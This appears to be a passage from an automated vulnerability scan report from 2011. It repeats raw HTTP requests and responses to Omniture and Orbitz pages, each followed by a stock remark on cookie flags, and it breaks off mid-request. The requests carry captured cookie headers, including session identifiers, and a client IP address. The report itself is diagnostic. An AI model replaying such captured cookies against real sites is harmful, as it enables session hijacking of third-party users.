Request
GET /offer/987 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:11 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:59:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:12 GMT Content-Length: 14737 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:11 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe.. Search&Promote: Drive R ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/989 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:05:35 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:05:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:05:35 GMT Content-Length: 13584 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:05:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Search&Promote Success St ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /press/867 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:59:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:04 GMT Content-Length: 32219 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:04 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: New Adob ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /press/868 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:02 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:59:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:03 GMT Content-Length: 32129 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: Adobe Ac ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /zh HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:54:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:54:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:54:16 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=4; expires=Sat, 05-Mar-2011 05:54:16 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:54:16 GMT; path=/; domain=omniture.com Content-Length: 35790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//zh" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="zh" lang="zh"> <head> <title>Omniture - Web ................ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=265DA875C314B0C54855FC80AB1B1D8C; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Tue, 01 Feb 2011 15:22:26 GMT Set-Cookie: NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9;path=/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/ Content-Length: 175717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/DPTLandingPageSearch?z=4fbc&r=22 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=CF01ADA3860370757BCE14E28DEA4DEF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:53 GMT Content-Length: 156615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/DisplayCarSearch?z=2eba&r=d HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=05C967C0F0A14D4101835934150D3894; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy||||||||||mm/dd/yy|||||||||||||||||||||||||||||||||||||||||||advanced_search|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:26 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:25 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 61129
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/GDDC?deal_id=airtran-airways-flight-deal&type=bo_qs HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=F16847533E57975D98FAE3F2C4C87A82; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:58 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 34861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/199 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/Home?reset=true&z=2eb6&r=9 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=C4FA721F0918D48EB0461750E018E375; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:22 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 175809
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/InitDealEdit?fromDealsPage=true&z=2eca&r=t HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=B14F9784369BDA42B899F65B9ECC9BCF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:39 GMT Content-Length: 41738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmln ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PartnerTracking?partnerUrl=TRAVELERUPDATE HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; 